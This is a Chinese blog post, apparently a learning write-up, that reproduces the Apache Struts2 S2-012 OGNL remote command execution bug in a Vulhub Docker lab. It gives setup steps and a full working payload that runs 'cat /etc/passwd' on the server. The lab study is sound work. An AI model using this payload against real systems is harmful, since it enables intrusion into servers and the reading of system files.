【漏洞复现】Struts2-12远程命令执行

【漏洞复现】Struts2-12远程命令执行,第1张

此为本人漏洞学习过程。

影响版本: 2.1.0 - 2.3.13

漏洞详情: S2-012 - Apache Struts 2 Wiki - Apache Software Foundation


关于

Status2:

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:


    
        /index.jsp?name=${name}
        /index.jsp
        /index.jsp
    

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

漏洞s2-012

与s2-001相似,可参考001的漏洞复现过程

docker—vulhub—struts2漏洞复现详细过程(s2-001/007/008)_公子YA的博客-CSDN博客_docker struts2

一、环境准备

CentOS7 :

安装Vulhub

参考: Vulhub - Docker-Compose file for vulnerability environment

到下图这步拉取Vulhub即可

此时的虚拟机,克隆失败不要紧,多试几次,一般都是网络问题,ping github.com 能通没啥问题的话就没问题


 

Window10:已安装好BurpSuit

(虚拟机centOS必须要与Win10互ping能通,不然Win10不能访问到该页面,.net模式下互通方法虚拟机配置Nat网络模式和主机互通_J_Unknown的博客-CSDN博客,要是方法不管用,将Win10的网卡重启一下就行)

二、步骤 1.准备工作

 cd vulhub/struts2    切换到struts2

ls    显示当前目录    我们需要的环境是s2-012  cd s2-012     

 ls  能看到s2-012下面有个文档说明

cat   README.zh-cn.md    查看中文说明文档

文档最后的图片也在目录里面可以找到,打开

 文档阅读完毕,可以按照文档提示开始动手

2.按照文档进行测试环境搭建

记得先启动dockers     systemctl start docker

docker-compose build   (可能会报错,再运行一遍就可以了)

docker-compose up -d

 

 查看一下已启动的容器看看是否启动成功-----已成功

3.访问页面

 查看centOS的IP    ifconfig

 

在Win10上访问  192.168.255.134:8080

 启动BurpSuite准备抓包

查看文档,复制粘贴poc到框框内然后点击Submit,开始抓包

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

 结果与文档描述一致

其中插入的执行命令为cat  /etc/passwd

也可换成whoami  或 ls  或者   pwd 

即将  "cat", "/etc/passwd"  换为   "whoami"  或  "ls"  或者  "pwd"

抓包图分别如下

 漏洞复现完毕!


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/735712.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-27
下一篇 2022-04-27

发表评论

登录后才能评论

评论列表(0条)

保存